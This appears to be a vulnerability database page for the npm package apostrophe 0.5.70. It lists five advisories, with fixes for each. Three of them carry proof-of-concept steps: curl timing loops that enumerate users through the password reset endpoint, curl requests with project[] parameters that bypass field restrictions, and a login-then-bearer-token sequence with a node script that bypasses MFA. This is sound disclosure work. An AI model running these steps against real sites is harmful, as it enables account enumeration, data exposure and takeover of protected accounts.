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| purl | pkg:npm/apostrophe@0.5.70 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-5v79-remg-7ub4
Aliases: GHSA-pv6r-vchh-cxg9 GMS-2020-705 |
Denial of Service in apostrophe Versions of `apostrophe` prior to 2.97.1 are vulnerable to Denial of Service. The `apostrophe-jobs` module sets a callback for incoming jobs and doesn't clear it regardless of its status. This causes the server to accumulate callbacks, allowing an attacker to start a large number of jobs and exhaust system memory. ## Recommendation Upgrade to version 2.97.1 or later. |
Affected by 5 other vulnerabilities. |
|
VCID-a7rh-r1sn-2udh
Aliases: CVE-2026-33877 GHSA-mj7r-x3h3-7rmr |
ApostropheCMS: User Enumeration via Timing Side Channel in Password Reset Endpoint ## Summary The password reset endpoint (`/api/v1/@apostrophecms/login/reset-request`) exhibits a measurable timing side channel that allows unauthenticated attackers to enumerate valid usernames and email addresses. When a user is not found, the handler returns after a fixed 2-second artificial delay, but when a valid user is found, it performs database writes and SMTP operations with no equivalent delay normalization, producing a distinguishable timing profile. ## Details The `resetRequest` handler in `modules/@apostrophecms/login/index.js` attempts to obscure the user-not-found path with an artificial delay, but fails to normalize the timing of the user-found path: **User not found — fixed 2000ms delay** (`index.js:309-314`): ```javascript if (!user) { await wait(); // wait = (t = 2000) => Promise.delay(t) self.apos.util.error( `Reset password request error - the user ${email} doesn\`t exist.` ); return; } ``` **User found — variable-duration DB + SMTP operations, no artificial delay** (`index.js:323-355`): ```javascript const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); // ... URL construction ... await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) }); ``` The user-found path includes a MongoDB `update()` call and an SMTP `email()` send, which together produce response times that differ measurably from the fixed 2000ms delay. Depending on SMTP server latency, responses for valid users will either be noticeably faster (local/fast SMTP) or slower (remote SMTP) than the constant 2-second delay for invalid users. Additionally, the `getPasswordResetUser` method (`index.js:664-666`) accepts both username and email via an `$or` query, enabling enumeration of both identifiers: ```javascript const criteriaOr = [ { username: email }, { email } ]; ``` There is no rate limiting on the reset endpoint. The `checkLoginAttempts` throttle (`index.js:978`) is only applied to the login flow, allowing unlimited rapid probing of the reset endpoint. ## PoC **Prerequisites:** An Apostrophe instance with `passwordReset: true` enabled in `@apostrophecms/login` configuration. **Step 1 — Baseline invalid user timing:** ```bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{time_total}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "nonexistent-user-'$i'@example.com"}' done # Expected: all responses cluster tightly around 2.0xx seconds ``` **Step 2 — Test known valid user:** ```bash for i in $(seq 1 10); do curl -s -o /dev/null -w "%{time_total}\n" \ -X POST http://localhost:3000/api/v1/@apostrophecms/login/reset-request \ -H "Content-Type: application/json" \ -d '{"email": "admin"}' done # Expected: response times differ from 2.0s baseline (faster with local SMTP, slower with remote SMTP) ``` **Step 3 — Statistical comparison:** The two distributions will show a measurable divergence. With a local mail server, valid-user responses typically complete in <500ms. With a remote SMTP server, valid-user responses may take 3-5+ seconds. Either way, the timing is distinguishable from the fixed 2000ms invalid-user delay. ## Impact - **Account enumeration:** An unauthenticated attacker can determine whether a given username or email address has an account in the Apostrophe instance. - **Credential stuffing preparation:** Confirmed valid accounts can be targeted with credential stuffing attacks using breached password databases. - **Phishing targeting:** Knowledge of valid accounts enables targeted phishing campaigns against confirmed users. - **No rate limiting:** The absence of throttling on the reset endpoint allows high-speed automated enumeration. - **Mitigating factor:** The `passwordReset` option defaults to `false` (`index.js:62`), so only instances that explicitly enable password reset are affected. ## Recommended Fix Normalize all code paths to a constant minimum duration, ensuring the response time does not leak whether a user was found: ```javascript async resetRequest(req) { const MIN_RESPONSE_TIME = 2000; const startTime = Date.now(); const site = (req.headers.host || '').replace(/:\d+$/, ''); const email = self.apos.launder.string(req.body.email); if (!email.length) { throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired')); } let user; try { user = await self.getPasswordResetUser(req.body.email); } catch (e) { self.apos.util.error(e); } if (!user) { self.apos.util.error( `Reset password request error - the user ${email} doesn\`t exist.` ); } else if (!user.email) { self.apos.util.error( `Reset password request error - the user ${user.username} doesn\`t have an email.` ); } else { const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); let port = (req.headers.host || '').split(':')[1]; if (!port || [ '80', '443' ].includes(port)) { port = ''; } else { port = `:${port}`; } const parsed = new URL( req.absoluteUrl, self.apos.baseUrl ? undefined : `${req.protocol}://${req.hostname}${port}` ); parsed.pathname = self.login(); parsed.search = '?'; parsed.searchParams.append('reset', reset); parsed.searchParams.append('email', user.email); try { await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) }); } catch (err) { self.apos.util.error(`Error while sending email to ${user.email}`, err); } } // Pad all paths to a constant minimum duration const elapsed = Date.now() - startTime; if (elapsed < MIN_RESPONSE_TIME) { await Promise.delay(MIN_RESPONSE_TIME - elapsed); } }, ``` Additionally, consider applying rate limiting to the `reset-request` endpoint to prevent high-speed enumeration attempts. |
Affected by 0 other vulnerabilities. |
|
VCID-ewtn-suju-dyeb
Aliases: CVE-2026-33888 GHSA-xhq9-58fw-859p |
ApostropheCMS: publicApiProjection Bypass via project Query Builder in Piece-Type REST API ## Summary The `getRestQuery` method in the `@apostrophecms/piece-type` module checks whether a MongoDB projection has already been set before applying the admin-configured `publicApiProjection`. An unauthenticated attacker can supply a `project` query parameter in the REST API request to pre-populate the projection state, causing the security-enforced `publicApiProjection` to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access. ## Details When an unauthenticated user queries the piece-type REST API, the `getRestQuery` method processes the request at `modules/@apostrophecms/piece-type/index.js:1120`: ```javascript // piece-type/index.js:1120-1137 getRestQuery(req, omitPermissionCheck = false) { const query = self.find(req).attachments(true); query.applyBuildersSafely(req.query); // [1] attacker input applied first if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ _id: null }); } else if (!query.state.project) { // [2] checks if projection already set query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } } return query; }, ``` At **[1]**, `applyBuildersSafely` iterates over all query string parameters and invokes their corresponding builder methods. The `project` builder exists in `@apostrophecms/doc-type` with a `launder` method (`doc-type/index.js:1876`) that sanitizes values to booleans: ```javascript // doc-type/index.js:1875-1889 project: { launder (p) { if (!p || typeof p !== 'object' || Array.isArray(p)) { return {}; } const projection = Object.entries(p).reduce((acc, [ key, val ]) => { return { ...acc, [key]: self.apos.launder.boolean(val) }; }, {}); return projection; }, ``` When a request includes `?project[someField]=1`, the builder sets `query.state.project` to `{someField: true}`. At **[2]**, the conditional `!query.state.project` evaluates to `false` because the state is already populated, so the `publicApiProjection` is never applied. For comparison, the `@apostrophecms/page` module's equivalent method (`page/index.js:2953`) unconditionally applies the projection: ```javascript // page/index.js:2953-2958 } else { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } ``` ## PoC **Prerequisites:** An ApostropheCMS 4.x instance with a piece-type (e.g., `article`) that has `publicApiProjection` configured to restrict fields. For example: ```javascript // modules/article/index.js module.exports = { extend: '@apostrophecms/piece-type', options: { publicApiProjection: { title: 1, _url: 1 } } }; ``` **Step 1:** Normal request — observe restricted fields are hidden: ```bash curl 'http://localhost:3000/api/v1/article' ``` Response returns only `title` and `_url` fields per the configured projection. **Step 2:** Bypass projection by supplying `project` query parameter: ```bash curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1' ``` Response now includes `internalNotes`, `slug`, `createdAt`, and any other requested fields — bypassing the admin-configured `publicApiProjection` restriction. **Step 3:** Request all default fields by projecting inclusion of sensitive fields: ```bash curl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1' ``` All requested fields are returned, confirming the `publicApiProjection` is fully bypassed. ## Impact - **Information Disclosure:** An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API. - **Scope:** Affects all piece-type modules with `publicApiProjection` configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents. - **Exploitability:** Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required. ## Recommended Fix Remove the conditional check on `query.state.project` in `piece-type/index.js`, matching the page module's unconditional behavior. The admin-configured `publicApiProjection` should always override any user-supplied projection for unauthenticated users: ```javascript // modules/@apostrophecms/piece-type/index.js:1123-1134 // BEFORE (vulnerable): if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ _id: null }); } else if (!query.state.project) { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } } // AFTER (fixed): if (!omitPermissionCheck && !self.canAccessApi(req)) { if (!self.options.publicApiProjection) { query.and({ _id: null }); } else { query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); } } ``` |
Affected by 0 other vulnerabilities. |
|
VCID-pvxq-3qsf-efc5
Aliases: GHSA-h97g-4mx7-5p2p GMS-2020-704 |
Open Redirect in apostrophe Versions of `apostrophe` prior to 2.92.0 are vulnerable to Open Redirect. The package redirected requests to third-party websites if escaped URLs followed by a trailing `/` were appended at the end. ## Recommendation Update to version 2.92.0 or later. |
Affected by 6 other vulnerabilities. |
|
VCID-tm23-2xhx-87hc
Aliases: CVE-2026-32730 GHSA-v9xm-ffx2-7h35 |
ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware # MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware ## Summary The bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. ## Severity The AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely. ## Affected Versions All versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement. ## Root Cause In `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed): ```javascript async function getBearer() { const bearer = await self.apos.login.bearerTokens.findOne({ _id: req.token, expires: { $gte: new Date() }, // requirementsToVerify array should be empty or inexistant // for the token to be usable to log in. $or: [ { requirementsToVerify: { $exists: false } }, { requirementsToVerify: { $ne: [] } } // BUG ] }); return bearer && bearer.userId; } ``` The comment correctly states the intent: the array should be "empty or inexistant." However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is **NOT** an empty array — meaning it matches tokens that still have **unverified requirements**. This is the exact opposite of the intended behavior. | Token State | `requirementsToVerify` | `$ne: []` result | Should match? | |---|---|---|---| | No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes | | TOTP pending | `["AposTotp"]` | `true` (BUG!) | **No** | | All verified | `[]` | `false` (BUG!) | **Yes** | | Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes | ## Attack Scenario ### Prerequisites - ApostropheCMS instance with `@apostrophecms/login-totp` enabled - Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach) - Attacker does NOT know the victim's TOTP secret/code ### Steps 1. **Authenticate with password only:** ``` POST /api/v1/@apostrophecms/login/login Content-Type: application/json {"username": "admin", "password": "correct_password", "session": false} ``` 2. **Receive incomplete token** (server correctly requires TOTP): ```json {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"} ``` 3. **Use incomplete token as bearer token** (bypassing TOTP): ``` GET /api/v1/@apostrophecms/page Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx ``` 4. **Full authenticated access granted.** The bearer token middleware matches the token because `requirementsToVerify: ["AposTotp"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code. ## Proof of Concept See `mfa-bypass-poc.js` — demonstrates the query logic bug with all token states. Run: ```bash #!/usr/bin/env node /** * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware * * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js * has a logic error in the MongoDB query that validates bearer tokens. * * The comment says: * "requirementsToVerify array should be empty or inexistant * for the token to be usable to log in." * * But the actual query uses `$ne: []` (NOT equal to empty array), * which matches tokens WITH unverified requirements — the exact opposite * of the intended behavior. * * This allows an attacker who knows a user's password (but NOT their * TOTP code) to use the "incompleteToken" returned after password * verification as a fully authenticated bearer token, bypassing MFA. * * Affected: ApostropheCMS with @apostrophecms/login-totp (or any * custom afterPasswordVerified requirement) * * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389 */ const RED = '\x1b[91m'; const GREEN = '\x1b[92m'; const YELLOW = '\x1b[93m'; const CYAN = '\x1b[96m'; const RESET = '\x1b[0m'; const BOLD = '\x1b[1m'; // Simulate MongoDB's $ne operator behavior function mongoNe(fieldValue, compareValue) { // MongoDB $ne: true if field value is NOT equal to compareValue // For arrays, MongoDB compares by value if (Array.isArray(fieldValue) && Array.isArray(compareValue)) { if (fieldValue.length !== compareValue.length) return true; return fieldValue.some((v, i) => v !== compareValue[i]); } return fieldValue !== compareValue; } // Simulate MongoDB's $exists operator function mongoExists(doc, field, shouldExist) { const exists = field in doc; return exists === shouldExist; } // Simulate MongoDB's $size operator function mongoSize(fieldValue, size) { if (!Array.isArray(fieldValue)) return false; return fieldValue.length === size; } // Simulate the VULNERABLE bearer token query (line 386-389) function vulnerableQuery(token) { // $or: [ // { requirementsToVerify: { $exists: false } }, // { requirementsToVerify: { $ne: [] } } <-- BUG // ] const cond1 = mongoExists(token, 'requirementsToVerify', false); const cond2 = ('requirementsToVerify' in token) ? mongoNe(token.requirementsToVerify, []) : false; return cond1 || cond2; } // Simulate the FIXED bearer token query function fixedQuery(token) { // $or: [ // { requirementsToVerify: { $exists: false } }, // { requirementsToVerify: { $size: 0 } } <-- FIX // ] const cond1 = mongoExists(token, 'requirementsToVerify', false); const cond2 = ('requirementsToVerify' in token) ? mongoSize(token.requirementsToVerify, 0) : false; return cond1 || cond2; } function banner() { console.log(`${CYAN}${BOLD} ╔══════════════════════════════════════════════════════════════════╗ ║ ApostropheCMS MFA/TOTP Bypass PoC ║ ║ Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq) ║ ║ @apostrophecms/express/index.js:386-389 ║ ╚══════════════════════════════════════════════════════════════════╝${RESET} `); } function test(name, token, expectedVuln, expectedFixed) { const vulnResult = vulnerableQuery(token); const fixedResult = fixedQuery(token); const vulnCorrect = vulnResult === expectedVuln; const fixedCorrect = fixedResult === expectedFixed; console.log(`${BOLD}${name}${RESET}`); console.log(` Token: ${JSON.stringify(token)}`); console.log(` Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`); console.log(` Fixed query matches: ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`); if (vulnResult && !fixedResult) { console.log(` ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`); } console.log(); return vulnResult && !fixedResult; } // ——— Main ——— banner(); const bypasses = []; console.log(`${BOLD}--- Token States During Login Flow ---${RESET}\n`); // 1. Normal bearer token (no MFA configured) // Created by initialLogin when there are no lateRequirements // Token: { _id: "xxx", userId: "yyy", expires: Date } // No requirementsToVerify field at all test( '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED', { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) }, true, // vulnerable: accepted (correct) true // fixed: accepted (correct) ); // 2. Incomplete token — password verified, TOTP NOT verified // Created by initialLogin when lateRequirements exist // Token: { _id: "xxx", userId: "yyy", requirementsToVerify: ["AposTotp"], expires: Date } const bypass1 = test( '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED', { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) }, true, // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp']) false // fixed: rejected (correct) ); if (bypass1) bypasses.push('TOTP bypass'); // 3. Token after all requirements verified (empty array, before $unset) // After requirementVerify pulls each requirement from the array // Token: { _id: "xxx", userId: "yyy", requirementsToVerify: [], expires: Date } test( '[Token 3] All requirements verified (empty array) — should be ACCEPTED', { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) }, false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match []) true // fixed: accepted (correct) ); // 4. Finalized token (requirementsToVerify removed via $unset) // After finalizeIncompleteLogin calls $unset // Token: { _id: "xxx", userId: "yyy", expires: Date } test( '[Token 4] Finalized token ($unset completed) — should be ACCEPTED', { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) }, true, // vulnerable: accepted (correct) true // fixed: accepted (correct) ); // 5. Multiple unverified requirements const bypass2 = test( '[Token 5] Multiple unverified requirements — should be REJECTED', { _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) }, true, // vulnerable: ACCEPTED (BUG!) false // fixed: rejected (correct) ); if (bypass2) bypasses.push('Multi-requirement bypass'); // Attack scenario console.log(`${BOLD}--- Attack Scenario ---${RESET}\n`); console.log(` ${YELLOW}Prerequisites:${RESET}`); console.log(` - ApostropheCMS instance with @apostrophecms/login-totp enabled`); console.log(` - Attacker knows victim's username and password`); console.log(` - Attacker does NOT know victim's TOTP code\n`); console.log(` ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`); console.log(` POST /api/v1/@apostrophecms/login/login`); console.log(` {"username": "admin", "password": "correct_password", "session": false}\n`); console.log(` ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`); console.log(` Response: {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}`); console.log(` (TOTP verification still required)\n`); console.log(` ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`); console.log(` GET /api/v1/@apostrophecms/page`); console.log(` Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n`); console.log(` ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`); console.log(` MongoDB query: {`); console.log(` _id: "clxxxxxxxxxxxxxxxxxxxxxxxxx",`); console.log(` expires: { $gte: new Date() },`); console.log(` $or: [`); console.log(` { requirementsToVerify: { $exists: false } },`); console.log(` { requirementsToVerify: { ${RED}$ne: []${RESET} } } // BUG!`); console.log(` ]`); console.log(` }`); console.log(` The token has requirementsToVerify: ["AposTotp"]`); console.log(` $ne: [] matches because ["AposTotp"] !== []\n`); console.log(` ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`); console.log(` req.user is set, req.csrfExempt = true`); console.log(` Full API access without TOTP verification\n`); // Summary console.log(`${BOLD}${'='.repeat(64)}`); console.log(`Summary`); console.log(`${'='.repeat(64)}${RESET}`); console.log(` ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\n`); console.log(` ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`); console.log(` The MongoDB query uses $ne: [] which matches NON-empty arrays.`); console.log(` The comment says the array should be "empty or inexistant",`); console.log(` but $ne: [] matches exactly the opposite — non-empty arrays.\n`); console.log(` ${YELLOW}Vulnerable code:${RESET}`); console.log(` $or: [`); console.log(` { requirementsToVerify: { $exists: false } },`); console.log(` { requirementsToVerify: { $ne: [] } } // BUG`); console.log(` ]\n`); console.log(` ${YELLOW}Fixed code:${RESET}`); console.log(` $or: [`); console.log(` { requirementsToVerify: { $exists: false } },`); console.log(` { requirementsToVerify: { $size: 0 } } // FIX`); console.log(` ]\n`); console.log(` ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`); console.log(` password can skip TOTP verification and gain full authenticated`); console.log(` API access by using the incompleteToken as a bearer token.\n`); console.log(` ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`); console.log(` issue where tokens with ALL requirements verified (empty array,`); console.log(` before the $unset runs) are incorrectly REJECTED. This is masked`); console.log(` by the fact that finalizeIncompleteLogin uses $unset to remove`); console.log(` the field entirely, so the $exists: false path is used instead.`); console.log(); console.log(); ``` Both bypass vectors (single and multiple unverified requirements) confirmed. ## Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin` A second bug in `@apostrophecms/login/index.js` (lines 728-729, 735-736) amplifies the MFA bypass. When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier: ```javascript await self.bearerTokens.removeOne({ _id: token.userId // BUG: should be token._id }); ``` The token's `_id` is a CUID (e.g., `clxxxxxxxxx`), but `token.userId` is the user's document ID. This means: 1. The incomplete token is **never deleted** from the database, even after a legitimate MFA-verified login 2. Combined with the `$ne: []` bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour) 3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists This bug appears at two locations in `finalizeIncompleteLogin`: - Line 728-729: Error case (user not found) - Line 735-736: Success case (session-based login after MFA) ## Recommended Fix ### Fix 1: Bearer token query (express/index.js line 388) Replace `$ne: []` with `$size: 0`: ```javascript $or: [ { requirementsToVerify: { $exists: false } }, { requirementsToVerify: { $size: 0 } } // FIX: match empty array only ] ``` This ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens. ### Fix 2: Token deletion (login/index.js lines 728-729, 735-736) Replace `token.userId` with `token._id`: ```javascript await self.bearerTokens.removeOne({ _id: token._id // FIX: use the token's actual ID }); ``` |
Affected by 2 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||
| Date | Actor | Action | Vulnerability | Source | VulnerableCode Version |
|---|---|---|---|---|---|
| 2026-06-06T08:08:08.134047+00:00 | GitLab Importer | Affected by | VCID-ewtn-suju-dyeb | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/CVE-2026-33888.yml | 38.6.0 |
| 2026-06-06T08:07:13.772111+00:00 | GitLab Importer | Affected by | VCID-a7rh-r1sn-2udh | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/CVE-2026-33877.yml | 38.6.0 |
| 2026-06-06T07:30:47.905411+00:00 | GitLab Importer | Affected by | VCID-tm23-2xhx-87hc | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/CVE-2026-32730.yml | 38.6.0 |
| 2026-06-04T20:37:48.375243+00:00 | GitLab Importer | Affected by | VCID-pvxq-3qsf-efc5 | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/GMS-2020-704.yml | 38.6.0 |
| 2026-06-04T20:36:23.867475+00:00 | GitLab Importer | Affected by | VCID-5v79-remg-7ub4 | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/apostrophe/GMS-2020-705.yml | 38.6.0 |